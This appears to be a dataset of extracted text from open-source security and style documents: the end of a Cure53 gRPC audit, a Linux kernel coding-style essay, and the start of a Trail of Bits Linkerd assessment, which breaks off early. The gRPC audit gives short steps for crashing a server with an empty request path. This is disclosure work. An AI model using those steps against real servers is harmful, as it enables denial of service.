authentication aspects were evaluated, in\\nparticular in the realm of handling broken certificates. Items interfacing with\\nBoringSSL were found to be done properly and no errors could be identified.\\n•A locally modified version of greeter_server_tls was used to inspect the TLS\\nprotocol exchange alongside verifying the validity of simultaneously recorded\\ntcpdump output.\\n•The execution flow and source code between greeter_client_tls and\\ngreeter_server_tls was cross-referenced to obtain an overview of the exposed\\ncomponents.\\n1 https://tools.ietf.org/html/rfc7540#page-12\\nCure53, Berlin · 10/15/19 4/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\n•The application of oversized and malformed key and certificate files was\\nattempted to probe the handling of such errors. The code was found to be\\nhandling all cases terminally but gracefully.\\n•A working fuzzer setup was created and tested. Once successful, the fuzzer was\\nrun over the course of the penetration test and audit. It managed to in fact\\nproduce a couple of useful results, for instance GRP-01-001.\\n•Extensive binary analysis of the fuzzer-generated backtraces in combination with\\nthe source code was undertaken to unveil additional problems but success was\\nlimited due to time constraints.\\n•Further penetration testing and fuzzing attention was given to the compression-\\nand decompression-related implementations for channels and messages in the\\ntested codebase. It was checked if any undocumented compression algorithms\\nwere supported but this proved not to be the case.\\n•Tests making use of compression bombs were performed by creating a modified\\ngRPC client capable of sending those. No findings were spotted in this realm;\\nafter a certain threshold (i.e. 7MB of payload) value, the server started to ignore\\ncompressed payload and fell back to the uncompressed text.\\n•Additionally, sending of varying slice counts to the server was attempted to see if\\nany unexpected behavior could be provoked. Cure53 gave up on this since no\\nproblematic reactions could be observed.\\nCure53, Berlin · 10/15/19 5/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nIdentified Vulnerabilities\\nThe following sections list both vulnerabilities and implementation issues spotted during\\nthe testing period. Note that findings are listed in chronological order rather than by their\\ndegree of severity and impact. The aforementioned severity rank is simply given in\\nbrackets following the title heading for each vulnerability. Each vulnerability is\\nadditionally given a unique identifier (e.g. GRP-01-001) for the purpose of facilitating any\\nfuture follow-up correspondence.\\nGRP-01-001 Server: DoS through uninitialized pointer dereference (Medium)\\nWhile fuzzing the communication between the gRPC greeter example client, a\\nsegmentation fault was observed due to dereferencing a null pointer. This led to a\\nDenial-of-Service (DoS). Upon further investigation of the crash, it was discovered that\\nan empty path in the request headers causes this issue.\\nThe following code excerpt highlights the relevant parts.\\nAffected File:\\nsrc/core/lib/surface/server.cc\\nAffected Code:\\nstatic void start_new_rpc(grpc_call_element* elem) {\\n channel_data* chand = static_cast(elem->channel_data);\\n call_data* calld = static_cast(elem->call_data);\\n[...]\\n if (chand->registered_methods && calld->path_set && calld->host_set) {\\n[...]\\n /* check for a wildcard method definition (no host set) */\\n hash = GRPC_MDSTR_KV_HASH(0, grpc_slice_hash_internal(calld->path));\\n for (i = 0; i <= chand->registered_method_max_probes; i++) {\\n rm = &chand->registered_methods[(hash + i) %\\n chand->registered_method_slots];\\n if (!rm) break;\\n if (rm->has_host) continue;\\n if (!grpc_slice_eq(rm->method, calld->path)) continue;\\n if ((rm->flags & GRPC_INITIAL_METADATA_IDEMPOTENT_REQUEST) &&\\n 0 == (calld->recv_initial_metadata_flags &\\n GRPC_INITIAL_METADATA_IDEMPOTENT_REQUEST)) {\\n continue;\\n }\\n finish_start_new_rpc(server, elem, &rm->server_registered_method->matcher,\\n rm->server_registered_method ->payload_handling);\\nCure53, Berlin · 10/15/19 6/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nWhen the empty path is used to compute the hash value for indexing the\\nregistered_methods array, it is possible that the resulting index points to an entry that\\nhas not been initialized. Since the allocated space for the given array is filled with null\\nvalues, the server_registered_method pointer will be null.\\nIt should be noted that the crash does not trigger reliably and depends on the global\\nseed value used for computing the hashes. This seed value changes with every restart\\nof the application. Therefore, when trying to reproduce the issue, it may be necessary to\\nrestart the server application multiple times.\\nSteps to reproduce:\\n•Download the gRPC helloworld client\\n•Replace the path in Greeter_method_names with an empty string\\n•Run the client against a gRPC server\\nIt is recommended to ensure that no empty value for path can be given.\\nMiscellaneous Issues\\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\\nan attacker in achieving their malicious goals in the future. Most of these results are\\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\\nwhile a vulnerability is present, an exploit might not always be possible.\\nGRP-01-002 General: Refs to freed memory not automatically nulled (Low)\\nWhile auditing the gRPC’s underlying memory allocation functionalities and wrappers\\naround the libc malloc function family, it was noticed that pointers to freed memory are\\nnot automatically nulled. Instead, coding patterns like the following were observed.\\nExamples:\\n•gpr_free(service_config);\\nservice_config = nullptr;\\n•gpr_free(tbl->ents);\\ntbl->ents = nullptr;\\n•gpr_free(s->header_array.headers);\\ns->header_array.headers = nullptr;\\n•etc...\\nThis pattern of freeing memory and manually setting the corresponding pointer to nullptr\\nstems from the fact that the wrapper around libc’s free is implemented without\\nautomatically setting this pointer to null as a mandatory operation.\\nCure53, Berlin · 10/15/19 7/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nAffected File:\\ngrpc/src/core/lib/gpr/alloc.cc\\nAffected Code:\\nvoid gpr_free(void* p) {\\n GPR_TIMER_SCOPE(\\\"gpr_free\\\", 0);\\n g_alloc_functions.free_fn(p);\\n}\\nConsidering the fact that it is easy to forget to reset the freed pointer to null when\\nnecessary, it might make sense to implement this in gpr_free itself. It should be\\nconsidered to rewrite gpr_free so that it accepts the address of the pointer as a\\nparameter and resets the pointer to null after the final call to free. Automatically setting\\nunused pointers to nullptr is not only a defensive style that protects against dangling\\npointer bugs or use after frees, it also makes sure that developers cannot omit important\\nnullptr assignments.\\nGRP-01-003 General: Calls to malloc suffer from potential integer overflows (Low)\\nAnother more general weakness was found in the usage of allocation functions in\\ngRPC’s libc wrappers around malloc. As one can see in the following code, gpr_malloc\\nis not implemented in a way that takes care of allocating memory for an array of\\nelements with the same size for each element.\\nAffected File:\\ngrpc/src/core/lib/gpr/alloc.cc\\nAffected Code:\\nvoid* gpr_malloc(size_t size) {\\n GPR_TIMER_SCOPE(\\\"gpr_malloc\\\", 0);\\n void* p;\\n if (size == 0) return nullptr;\\n p = g_alloc_functions.malloc_fn(size);\\n if (!p) {\\n abort();\\n }\\n return p;\\n}\\nNevertheless, code like in the following snippets is used to make room for multiple\\nelements in one single call to gpr_malloc.\\nCure53, Berlin · 10/15/19 8/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nExamples:\\n•uri_parser.cc\\nuri->query_parts_values =\\n static_cast(gpr_malloc( uri->num_query_parts * \\nsizeof(char**)));\\n•http_connect_handshaker.cc\\n•headers = static_cast(\\n gpr_malloc(sizeof(grpc_http_header) * num_header_strings ));\\n•etc …\\nAlthough no concrete scenario of this vulnerability being in effect was spotted, this\\ncoding pattern is oftentimes prone to integer overflows when multiplying array sizes with\\nthe number of the array’s elements.\\nIt is recommended to create a calloc(size_t nmemb, size_t size) style wrapper that takes\\ncare of allocating nmemb elements of size for each item. Internally, it should be checked\\nfor integer overflow when multiplying both values inside the function. This not only\\nrepresents a more defensive coding pattern that tries to prevent certain bug classes, but\\nalso takes the burden away from developers who otherwise would need to check for\\ninteger overflows.\\nCure53, Berlin · 10/15/19 9/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nConclusions\\nThis Cure53 report clearly demonstrates a strong security posture of the investigated\\ngRPC software. After spending eighten days on the scope in September and October of\\n2019, seven members of the Cure53 team can conclude that the project complies with\\nits security promises.\\nDuring this CNCF-funded project, an explicit focus was placed on analyzing the HTTP2\\nprotocol flow, where especially the parsing and unpacking of different headers was\\nevaluated. Considering the small time-frame, only rudimentary checks could be\\nperformed. In parallel to auditing of the source code, the provided helloworld\\nserver/client was fuzzed with a modified version of AFL. This yielded a DoS vulnerability\\nin the server. However, no other bugs were found using this methodology, pointing to the\\ngRPC’s strengths.\\nThe HTTP data compressions pertinent to GZIP and DEFLATE use standard libraries\\nand were therefore excluded from the code audit. The compression features were\\nnevertheless manually pentested and stood strong to Cure53’s scrutiny. As part of the\\nanalysis connected to the crash desc ribed in GRP-01-001, a more in-depth look into the\\nHPACK parsing code was taken. Overall, the code made a good impression in that it\\nfollows good coding practices and displays proper checks in critical areas, for example\\nthe uint32 number parsing paid special attention to detection of integer overflows. A\\ncloser look at the frame similarly revealed it to be well-written, indicating a coding\\nguideline being strictly followed by the developers.\\nThe TLS examples were used as a basis for analyzing the TLS implementation in gRPC.\\nHere the malformed strings and certificate constructs were evaluated in the pursuit to\\nfind logical flaws in the implementation. Crashes were observed but none of them were\\ndeemed to be of security value, since they required patching the example binaries with\\nout-of-bounds strings and values. No bugs were discovered during this phase and,\\nsimilarly, no leaks were observed during the analysis of TLS traffic, handshakes, etc.\\nThe protocol sequences displayed no anomalies.\\nThe existence and mandatory inclusion of a regression test, several sanitizer\\ncomponents and the integration of a fuzzing infrastructure to the protocol aspects further\\ntranslates to building on the notion of a responsibly maintained software system. Setting\\nup a test harness proved to be straightforward and reliable. The development team gave\\ndetailed instructions on how to build all of the necessary components, again confirming\\nthat having their project tested poses no issue. It must be emphasized that, considering\\nthe large codebase and the existing constraints of the audit, a significant but far from\\ncomplete code coverage has been achieved.\\nCure53, Berlin · 10/15/19 10/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nIn sum, judging from the somewhat limited coverage achieved during this code audit and\\ncode-assisted penetration test, the Cure53 team can only attest to a very high quality of\\nthe examined gRPC system. This autumn 2019 project ascertained that the gRPC team\\nis fully capable of delivering excellent results in terms of security and maintainability.\\nCure53 would like to thank Srini Polavarapu, Hope Casey-Allen, Nicolas Noble and April\\nKyle Nassi of Google , as well as Chris Aniszczyk of The Linux Foundation, for their\\nexcellent project coordination, support and assistance, both before and during this\\nassignment. Special gratitude also needs to be extended to The Linux Foundation for\\nsponsoring this project.\\nCure53, Berlin · 10/15/19 11/11\"\n }\n]"}}},{"rowIdx":39464,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"coding_style.pdf\",\n \"project_name\": \"Slurm\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Linux Kernel Coding Style\nLinus Torvalds\nThis is a short document describing the preferred coding style for the linux kernel. \nCoding style is very personal, and I won't force my views on anybody, but this is what goes for anything that I have to be able to maintain, and I'd prefer it for most other things too. Please at least consider the points made here.\nFirst off, I'd suggest printing out a copy of the \nGNU coding standards, and NOT read it. \nBurn them, it's a great symbolic gesture.Anyway, here goes:\nChapter 1: Indentation\nTabs are 8 characters, and thus indentations are also 8 characters. There are heretic \nmovements that try to make indentations 4 (or even 2!) characters deep, and that is akin to trying to define the value of PI to be 3.\nRationale: The whole idea behind indentation is to clearly define where a block of \ncontrol starts and ends. Especially when you've been looking at your screen for 20 straight hours, you'll find it a lot easier to see how the indentation works if you have large indentations.\nNow, some people will claim that having 8-character indentations makes the code move \ntoo far to the right, and makes it hard to read on a 80-character terminal screen. The answer to that is that if you need more than 3 levels of indentation, you're screwed anyway, and should fix your program.\nIn short, 8-char indents make things easier to read, and have the added benefit of \nwarning you when you're nesting your functions too deep. Heed that warning.Linux kernel coding style\nChapter 2: Placing Braces\nThe other issue that always comes up in C styling is the placement of braces. Unlike the \nindent size, there are few technical reasons to choose one placement strategy over the other, but the preferred way, as shown to us by the prophets Kernighan and Ritchie, is to put the opening brace last on the line, and put the closing brace first, thusly:\nif (x is true) {\n we do y}\nHowever, there is one special case, namely functions: they have the opening brace at the \nbeginning of the next line, thus:\nint function(int x)\n{ body of function}\nHeretic people all over the world have claimed that this inconsistency is ... well ... \ninconsistent, but all right-thinking people know that (a) K&R are right and (b) K&R are right. Besides, functions are special anyway (you can't nest them in C).\nNote that the closing brace is empty on a line of its own, except in the cases where it is \nfollowed by a continuation of the same statement, i.e. a \"while\" in a do-statement or an \"else\" in an if-statement, like this:\ndo {\n body of do-loop} while (condition);\nand\nif (x == y) { ..} else if (x > y) { ...} else {Linux kernel coding style\n ....\n}\nRationale: K&R.\nAlso, note that this brace-placement also minimizes the number of empty (or almost \nempty) lines, without any loss of readability. Thus, as the supply of new-lines on your screen is not a renewable resource (think 25-line terminal screens here), you have more empty lines to put comments on.\nChapter 3: Naming\nC is a Spartan language, and so should your naming be. Unlike Modula-2 and Pascal programmers, C programmers do not use cute names like \nThisVariableIsATemporaryCounter. A C programmer would call that variable \ntmp, which is much easier to write, and not the least more difficult to understand.\nHowever, while mixed-case names are frowned upon, descriptive names for global \nvariables are a must. To call a global function foo is a shooting offense.\nGlobal variables (to be used only if you really need them) need to have descriptive \nnames, as do global functions. If you have a function that counts the number of active \nusers, you should call that count_active_users() or similar, you should not call \nit cntusr().\nEncoding the type of a function into the name (so-called Hungarian notation) is brain \ndamaged - the compiler knows the types anyway and can check those, and it only confuses the programmer. No wonder Microsoft makes buggy programs.\nLocal variable names should be short, and to the point. If you have some random integer \nloop counter, it should probably be called i. Calling it loop_counter is non-\nproductive, if there is no chance of it being mis-understood. Similarly, tmp can be just \nabout any type of variable that is used to hold a temporary value.\nIf you are afraid to mix up your local variable names, you have another problem, which \nis called the function-growth-hormone-imbalance syndrome. See next chapter.Linux kernel coding style\nChapter 4: Functions\nFunctions should be short and sweet, and do just one thing. They should fit on one or \ntwo screenfuls of text (the ISO/ANSI screen size is 80×24, as we all know), and do one thing and do that well.\nThe maximum length of a function is inversely proportional to the complexity and \nindentation level of that function. So, if you have a conceptually simple function that is just one long (but simple) case-statement, where you have to do lots of small things for a lot of different cases, it's ok to have a longer function.\nHowever, if you have a complex function, and you suspect that a less-than-gifted first-\nyear high-school student might not even understand what the function is all about, you should adhere to the maximum limits all the more closely. Use helper functions with descriptive names (you can ask the compiler to in-line them if you think it's performance-critical, and it will probably do a better job of it that you would have done).\nAnother measure of the function is the number of local variables. They shouldn't exceed \n5-10, or you're doing something wrong. Re-think the function, and split it into smaller pieces. A human brain can generally easily keep track of about 7 different things, anything more and it gets confused. You know you're brilliant, but maybe you'd like to understand what you did 2 weeks from now.\nChapter 5: Commenting\nComments are good, but there is also a danger of over-commenting. NEVER try to explain HOW your code works in a comment: it's much better to write the code so that the working is obvious, and it's a waste of time to explain badly written code. \nGenerally, you want your comments to tell WHAT your code does, not HOW. Also, try \nto avoid putting comments inside a function body: if the function is so complex that you need to separately comment parts of it, you should probably go back to chapter 4 for a while. You can make small comments to note or warn about something particularly clever (or ugly), but try to avoid excess. Instead, put the comments at the head of the Linux kernel coding style\nfunction, telling people what it does, and possibly WHY it does it.\nChapter 6: You've made a mess of it\nThat's ok, we all do. You've probably been told by your long-time unix user helper that \n\"GNU emacs\" automatically formats the C sources for you, and you've noticed that yes, it does do that, but the defaults it uses are less than desirable (in fact, they are worse than random typing - a infinite number of monkeys typing into GNU emacs would never make a good program).\nSo, you can either get rid of GNU emacs, or change it to use saner values. To do the \nlatter, you can stick the following in your .emacs file:\n(defun linux-c-mode ()\n \"C mode with adjusted defaults for use with the Linux kernel.\" (interactive) (c-mode) (setq c-indent-level 8) (setq c-brace-imaginary-offset 0) (setq c-brace-offset -8) (setq c-argdecl-indent 8) (setq c-label-offset -8) (setq c-continued-statement-offset 8) (setq indent-tabs-mode nil) (setq tab-width 8))\nThis will define the M-x linux-c-mode command. When hacking on a module, if \nyou put the string -*- linux-c -*- somewhere on the first two lines, this mode \nwill be automatically invoked. Also, you may want to add\n(setq auto-mode-alist (cons '(\"/usr/src/linux.*/.*\\\\.[ch]\n$\" . linux-c-mode) auto-mode-alist))\nto your .emacs file if you want to have linux-c-mode switched on automagically when \nyou edit source files under /usr/src/linux.Linux kernel coding style\nBut even if you fail in getting emacs to do sane formatting, not everything is lost: use \n\"indent\".\nNow, again, GNU indent has the same brain dead settings that GNU emacs has, which is \nwhy you need to give it a few command line options. However, that's not too bad, because even the makers of GNU indent recognize the authority of K&R (the GNU people aren't evil, they are just severely misguided in this matter), so you just give indent the options \"-kr -i8\" (stands for \"K&R, 8 character indents\").\n\"indent\" has a lot of options, and especially when it comes to comment re-formatting \nyou may want to take a look at the manual page. But remember: \"indent\" is not a fix for bad programming."}],"string":"[\n {\n \"data\": \"Linux Kernel Coding Style\\nLinus Torvalds\\nThis is a short document describing the preferred coding style for the linux kernel. \\nCoding style is very personal, and I won't force my views on anybody, but this is what goes for anything that I have to be able to maintain, and I'd prefer it for most other things too. Please at least consider the points made here.\\nFirst off, I'd suggest printing out a copy of the \\nGNU coding standards, and NOT read it. \\nBurn them, it's a great symbolic gesture.Anyway, here goes:\\nChapter 1: Indentation\\nTabs are 8 characters, and thus indentations are also 8 characters. There are heretic \\nmovements that try to make indentations 4 (or even 2!) characters deep, and that is akin to trying to define the value of PI to be 3.\\nRationale: The whole idea behind indentation is to clearly define where a block of \\ncontrol starts and ends. Especially when you've been looking at your screen for 20 straight hours, you'll find it a lot easier to see how the indentation works if you have large indentations.\\nNow, some people will claim that having 8-character indentations makes the code move \\ntoo far to the right, and makes it hard to read on a 80-character terminal screen. The answer to that is that if you need more than 3 levels of indentation, you're screwed anyway, and should fix your program.\\nIn short, 8-char indents make things easier to read, and have the added benefit of \\nwarning you when you're nesting your functions too deep. Heed that warning.Linux kernel coding style\\nChapter 2: Placing Braces\\nThe other issue that always comes up in C styling is the placement of braces. Unlike the \\nindent size, there are few technical reasons to choose one placement strategy over the other, but the preferred way, as shown to us by the prophets Kernighan and Ritchie, is to put the opening brace last on the line, and put the closing brace first, thusly:\\nif (x is true) {\\n we do y}\\nHowever, there is one special case, namely functions: they have the opening brace at the \\nbeginning of the next line, thus:\\nint function(int x)\\n{ body of function}\\nHeretic people all over the world have claimed that this inconsistency is ... well ... \\ninconsistent, but all right-thinking people know that (a) K&R are right and (b) K&R are right. Besides, functions are special anyway (you can't nest them in C).\\nNote that the closing brace is empty on a line of its own, except in the cases where it is \\nfollowed by a continuation of the same statement, i.e. a \\\"while\\\" in a do-statement or an \\\"else\\\" in an if-statement, like this:\\ndo {\\n body of do-loop} while (condition);\\nand\\nif (x == y) { ..} else if (x > y) { ...} else {Linux kernel coding style\\n ....\\n}\\nRationale: K&R.\\nAlso, note that this brace-placement also minimizes the number of empty (or almost \\nempty) lines, without any loss of readability. Thus, as the supply of new-lines on your screen is not a renewable resource (think 25-line terminal screens here), you have more empty lines to put comments on.\\nChapter 3: Naming\\nC is a Spartan language, and so should your naming be. Unlike Modula-2 and Pascal programmers, C programmers do not use cute names like \\nThisVariableIsATemporaryCounter. A C programmer would call that variable \\ntmp, which is much easier to write, and not the least more difficult to understand.\\nHowever, while mixed-case names are frowned upon, descriptive names for global \\nvariables are a must. To call a global function foo is a shooting offense.\\nGlobal variables (to be used only if you really need them) need to have descriptive \\nnames, as do global functions. If you have a function that counts the number of active \\nusers, you should call that count_active_users() or similar, you should not call \\nit cntusr().\\nEncoding the type of a function into the name (so-called Hungarian notation) is brain \\ndamaged - the compiler knows the types anyway and can check those, and it only confuses the programmer. No wonder Microsoft makes buggy programs.\\nLocal variable names should be short, and to the point. If you have some random integer \\nloop counter, it should probably be called i. Calling it loop_counter is non-\\nproductive, if there is no chance of it being mis-understood. Similarly, tmp can be just \\nabout any type of variable that is used to hold a temporary value.\\nIf you are afraid to mix up your local variable names, you have another problem, which \\nis called the function-growth-hormone-imbalance syndrome. See next chapter.Linux kernel coding style\\nChapter 4: Functions\\nFunctions should be short and sweet, and do just one thing. They should fit on one or \\ntwo screenfuls of text (the ISO/ANSI screen size is 80×24, as we all know), and do one thing and do that well.\\nThe maximum length of a function is inversely proportional to the complexity and \\nindentation level of that function. So, if you have a conceptually simple function that is just one long (but simple) case-statement, where you have to do lots of small things for a lot of different cases, it's ok to have a longer function.\\nHowever, if you have a complex function, and you suspect that a less-than-gifted first-\\nyear high-school student might not even understand what the function is all about, you should adhere to the maximum limits all the more closely. Use helper functions with descriptive names (you can ask the compiler to in-line them if you think it's performance-critical, and it will probably do a better job of it that you would have done).\\nAnother measure of the function is the number of local variables. They shouldn't exceed \\n5-10, or you're doing something wrong. Re-think the function, and split it into smaller pieces. A human brain can generally easily keep track of about 7 different things, anything more and it gets confused. You know you're brilliant, but maybe you'd like to understand what you did 2 weeks from now.\\nChapter 5: Commenting\\nComments are good, but there is also a danger of over-commenting. NEVER try to explain HOW your code works in a comment: it's much better to write the code so that the working is obvious, and it's a waste of time to explain badly written code. \\nGenerally, you want your comments to tell WHAT your code does, not HOW. Also, try \\nto avoid putting comments inside a function body: if the function is so complex that you need to separately comment parts of it, you should probably go back to chapter 4 for a while. You can make small comments to note or warn about something particularly clever (or ugly), but try to avoid excess. Instead, put the comments at the head of the Linux kernel coding style\\nfunction, telling people what it does, and possibly WHY it does it.\\nChapter 6: You've made a mess of it\\nThat's ok, we all do. You've probably been told by your long-time unix user helper that \\n\\\"GNU emacs\\\" automatically formats the C sources for you, and you've noticed that yes, it does do that, but the defaults it uses are less than desirable (in fact, they are worse than random typing - a infinite number of monkeys typing into GNU emacs would never make a good program).\\nSo, you can either get rid of GNU emacs, or change it to use saner values. To do the \\nlatter, you can stick the following in your .emacs file:\\n(defun linux-c-mode ()\\n \\\"C mode with adjusted defaults for use with the Linux kernel.\\\" (interactive) (c-mode) (setq c-indent-level 8) (setq c-brace-imaginary-offset 0) (setq c-brace-offset -8) (setq c-argdecl-indent 8) (setq c-label-offset -8) (setq c-continued-statement-offset 8) (setq indent-tabs-mode nil) (setq tab-width 8))\\nThis will define the M-x linux-c-mode command. When hacking on a module, if \\nyou put the string -*- linux-c -*- somewhere on the first two lines, this mode \\nwill be automatically invoked. Also, you may want to add\\n(setq auto-mode-alist (cons '(\\\"/usr/src/linux.*/.*\\\\\\\\.[ch]\\n$\\\" . linux-c-mode) auto-mode-alist))\\nto your .emacs file if you want to have linux-c-mode switched on automagically when \\nyou edit source files under /usr/src/linux.Linux kernel coding style\\nBut even if you fail in getting emacs to do sane formatting, not everything is lost: use \\n\\\"indent\\\".\\nNow, again, GNU indent has the same brain dead settings that GNU emacs has, which is \\nwhy you need to give it a few command line options. However, that's not too bad, because even the makers of GNU indent recognize the authority of K&R (the GNU people aren't evil, they are just severely misguided in this matter), so you just give indent the options \\\"-kr -i8\\\" (stands for \\\"K&R, 8 character indents\\\").\\n\\\"indent\\\" has a lot of options, and especially when it comes to comment re-formatting \\nyou may want to take a look at the manual page. But remember: \\\"indent\\\" is not a fix for bad programming.\"\n }\n]"}}},{"rowIdx":39465,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Linkerd - Final Report.pdf\",\n \"project_name\": \"Linkerd\",\n \"subcategory\": \"Service Mesh\"\n}"},"content":{"kind":"list like","value":[{"data":" L i n k e r d \n S e c u r i t y A s s e s s me n t \n February 14, 2022 \n Prepared for: \n Oliver Gould \n Linux Foundation \n Prepared by: \n Alex Useche and David Pokora \n A b o u t T r a i l o f B i t s \n Founded in 2012 and headquartered in New York, Trail of Bits provides technical security \n assessment and advisory services to some of the world’s most targeted organizations. We \n combine high- end security research with a real -world attacker mentality to reduce risk and \n fortify code. With 80+ employees around the globe, we’ve helped secure critical software \n elem ents that support billions of end users, including Kubernetes and the Linux kernel. \n We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , \n with links to papers, presentations, public audit reports, and podcast appearances. \n In recent years, Trail of Bits consultants have showcased cutting-edge research through \n presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, \n the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. \n We specialize in software testing and code review projects, supporting client organizations \n in the technology, defense, and finance industries, as well as government entities. Notable \n clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. \n Trail of Bits also operates a center of excellence with regard to blockchain security. Notable \n projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, \n MakerDAO, Matic, Uniswap, Web3, and Zcash. \n To keep up to date with our latest news and announcements, please follow @trailofbits on \n Twitter and explore our public repositories at https://github.com/trailofbits . To engage us \n directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at \n info@trailofbits.com . \n Trail of Bits, Inc. \n 228 Park Ave S #80688 \n New York, NY 10003 \n https://www.trailofbits.com \n info@trailofbits.com \n T r a i l o f B i t s 1 Linkerd Security Assessment \n C O N F I D E N T I A L \n N o t i c e s a n d R e m a r k s \n C o p y r i g h t a n d D i s t r i b u t i o n \n © 2022 by Trail of Bits, Inc. \n All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this \n report in the United Kingdom. \n This report is considered by Trail of Bits to be confidential information; it is licensed to the \n Linux Foundation under the terms of the project statement of work and intended solely for \n internal use by the Linux Foundation. Material within this report may not be reproduced or \n distributed in part or in whole without the express written permission of Trail of Bits. \n T es t C o v er a g e D i s c l a i m er \n All activities undertaken by Trail of Bits in association with this project were performed in \n accordance with a statement of work and mutually agreed upon project plan. \n Security assessment projects are time-boxed and often reliant on information that may be \n provided by a client, its affiliates, or its partners. As such, the findings documented in this \n report should not be considered a comprehensive list of security issues, flaws, or defects in \n the target system or codebase. \n T r a i l o f B i t s 2 Linkerd Security Assessment \n C O N F I D E N T I A L \n T a b l e o f Co n t e n t s \n About Trail of Bits 1 \n Notices and Remarks 2 \n Table of Contents 2 \n Executive Summary 5 \n Project Summary 6 \n Project Goals 7 \n Project Targets 8 \n Project Coverage 9 \n Summary of Findings 10 \n Detailed Findings 11 \n 1. Various unhandled errors 11 \n 2. The use of time.After() in select statements can lead to memory leaks 13 \n 3. Use of string.Contains instead of string.HasPrefix to check for prefixes 14 \n 4. Risk of resource exhaustion due to the use of defer inside a loop 15 \n 5. Lack of maximum request and response body constraint 16 \n 6. Potential goroutine leak in Kubernetes port-forwarding initialization logic 18 \n 7. Risk of log injection in TAP service API 19 \n 8. TLS configuration does not enforce minimum TLS version 20 \n 9. Nil dereferences in the webhook server 22 \n A. Vulnerability Categories 24 \n B. Code Quality Findings 26 \n C. Running GCatch 27 \n T r a i l o f B i t s 3 Linkerd Security Assessment \n C O N F I D E N T I A L \n T r a i l o f B i t s 4 Linkerd Security Assessment \n C O N F I D E N T I A L \n E x e c u t i v e S u m m a r y \n E n g a g em en t O v er v i e w \n The Linux Foundation engaged Trail of Bits to review the security of its Linkerd service \n mesh. From January 31 to February 14, 2022, a team of two consultants conducted a \n security review of the client-provided source code, with two person-weeks of effort. Details \n of the project’s timeline, test targets, and coverage are provided in subsequent sections of \n this report. \n P r o j ec t S c o p e \n Our testing efforts were focused on the identification of flaws that could result in a \n compromise of confidentiality, integrity, or availability of the target system. We conducted \n this audit with access to the linkerd2 repository and supporting public documentation. \n S u m m a r y o f F i n d i n g s \n The audit did not uncover any significant flaws or defects that could impact system \n confidentiality, integrity, or availability. A summary of the findings is provided below. \n E X P O S U R E A N A L Y S I S \n Severity Count \n Low 3 \n Inform ational 4 \n Undetermined 2 C A T E G O R Y B R E A K D O W N \n Category Count \n Error Report ing 1 \n Timing 1 \n Data Validation 2 \n Denial of Service 3 \n Auditing and Logging 1 \n Configuration 1 \n T r a i l o f B i t s 5 Linkerd Security Assessment \n C O N F I D E N T I A L \n P r o j e c t S u m m a r y \n C o n t a c t I n f o r m a t i o n \n The following managers were associated with this project: \n Dan Guido , Account Manager Cara Pearson , Project Manager \n dan@trailofbits.com cara.pearson@trailofbits.com \n The following engineers were associated with this project: \n Alex Useche , Consultant David Pokora , Consultant \n alex.useche@trailofbits.com david.pokora@trailofbits.com \n P r o j ec t T i m el i n e \n The significant events and milestones of the project are listed below. \n Date Event \n January 27, 2022 Pre-project kickoff call \n February 7, 2022 Status update meeting #1 \n February 14, 2022 Delivery of final report draft and report readout meeting \n March 3, 2022 Delivery of final report \n T r a i l o f B i t s 6 Linkerd Security Assessment \n C O N F I D E N T I A L \n P r o j e c t G o a l s \n The engagement was scoped to provide a security assessment of the Linkerd service mesh. \n Specifically, we sought to answer the following non-exhaustive list of questions: \n ● Are Transport Layer Security (TLS) channels appropriately configured? Is Mutual TLS \n (mTLS) leveraged in a secure fashion across infrastructural components? \n ● Can the service accept connections from untrusted sources? Could an attacker \n pollute the proxy routing paths? \n ● Could the service be used to perform arbitrary message relays to other endpoints? \n ● Is the node configured properly? \n ● Are system secrets vulnerable to data exposure? \n ● Is appropriate data validation performed on server endpoints? \n ● Are metrics appropriately collected for all relevant tasks? Can this be circumvented \n in any way? \n ● Could an attacker perform log injection attacks against the application to trick \n operators into performing undesirable actions? \n ● Could an attacker with access to application containers affect the availability of the \n control plane service? \n ● Do metrics endpoints exposed by the linkerd-viz extensions leak sensitive data? \n ● Could attackers use access to linkerd-viz APIs to perform unauthorized tasks in \n control plane components? \n ● Could malicious developers with rights restricted to the application namespace \n escalate their privileges by using endpoints exposed by proxy servers and control \n plane components? \n T r a i l o f B i t s 7 Linkerd Security Assessment \n C O N F I D E N T I A L \n P r o j e c t T a r g e t s \n The engagement involved a review and testing of the targets listed below. \n l i n k e r d 2 \n Repository https://github.com/linkerd/linkerd2 \n Version Commit 68b63269d952b05cc721581dfa4672ad2e775964 \n Type Infrastructure \n Platform UNIX \n T r a i l o f B i t s 8 Linkerd Security Assessment \n C O N F I D E N T I A L \n P r o j e c t Co v e r a g e \n This section provides an overview of the analysis coverage of the review, as determined by \n our high-level engagement goals. Our approaches and their results include the following: \n ● A review of error handling throughout the codebase revealed issues regarding \n unhandled errors ( 